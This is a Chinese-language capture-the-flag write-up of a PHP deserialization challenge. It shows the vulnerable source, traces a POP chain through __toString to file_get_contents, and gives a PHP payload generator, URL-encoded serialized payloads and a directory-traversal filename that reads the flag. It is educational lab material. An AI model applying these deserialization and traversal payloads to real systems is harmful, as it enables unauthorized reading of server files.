php反序列化
题目代码如下:
<?php
include 'flag.php';
class pkshow
{
function echo_name()
{
return "Pk very safe^.^";
}
}
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new pkshow;
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}
class ace
{
public $filename;
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}
if (isset($_GET['pks']))
{
$logData = unserialize($_GET['pks']);
echo $logData;
}
else
{
highlight_file(__file__);
}
?>
这个题感觉挺有意思的,先看这个反序列化位点,没啥不一样的,但是这里有个echo $logData,可能有些人有点懵了,反序列化后$logData是一个对象,怎么能用each输出,先往下看,这个有大用。
总共有三个类,第一个类pkshow没有成员属性,没啥用,这个类可以直接忽略不看。
我们反着推,全文看下来,也只有file_get_contents()函数可以利用,他会把文件读取成字符串并输出,并且开头包含了flag.php,并且$file = "./{$this->filename}";会拼接成完整路径
所以我们就要想办法触发这个函数。
要想用这个函数就要想办法绕过这个if($this->openstack->neutron === $this->openstack->nova)限制,再往上就需要触发each_name()这个自定义函数,当然我们不可能主动调用
我们看到pskhow和acp类中都有调用这个函数,但是我们说了pkshow这个类我们没办法用,就只剩下acp这个类可用了
可以看到在__toSting()魔术方法中调用了each_name()这个方法,但是并不是直接调用,而是通过成员属性$cinder来调用,所以echo_name()方法就必须是属于$cinder这个成员属性
那么$cinder就必须得是一个对象,并且是实例化ace的对象,因为我们要调用的是类ace里面的方法
那么__toSting()魔术方法如何调用,他会在把对象当做字符串输出时调用,对象当做字符串不就是之前each $logData干的事吗,反序列化后$logData是个对象,each是用来输出一个字符或者字符串的,这不刚好调用了__toSting形成了完整的pop链吗,写出来就是
each $logData->acp::__toSting->ace::each_nama->if
由于$cinder是保护属性,所以我们使用构造函数实例化对象,并且序列化后要进行url编码,不然会受不可见字符影响而出错
我们将$docker赋值为空,那么反序列化也是空,那么给他赋值一个不存在的变量$heat还是空,空和空肯定相等就能绕过if
<?php class acp { protected $cinder; public $neutron; public $nova; function __construct() { $this->cinder=new ace; } } class ace { public $filename='../nssctfasdasdflag'; public $openstack; public $docker=NULL; } $a=new acp; echo urlencode(serialize($a)); ?>
pks=O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3BN%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D
传入参数页面上什么也没有,F12看一下源码,发现给了提示,flag in /nssctfasdasdflag
那就改变flag.php为nssctfasdasdflag
psk=O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A16%3A%22nssctfasdasdflag%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3BN%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D
再次传入发现出现一个keystone lost~,这个说明file_get_contents($file)返回false,说明$file路径或者文件不存在,既然说了flag in /nssctfasdasdflag出题人也应该不会骗人,那我们试着穿越目录
变成../nssctfasdasdflag
成功拿到flag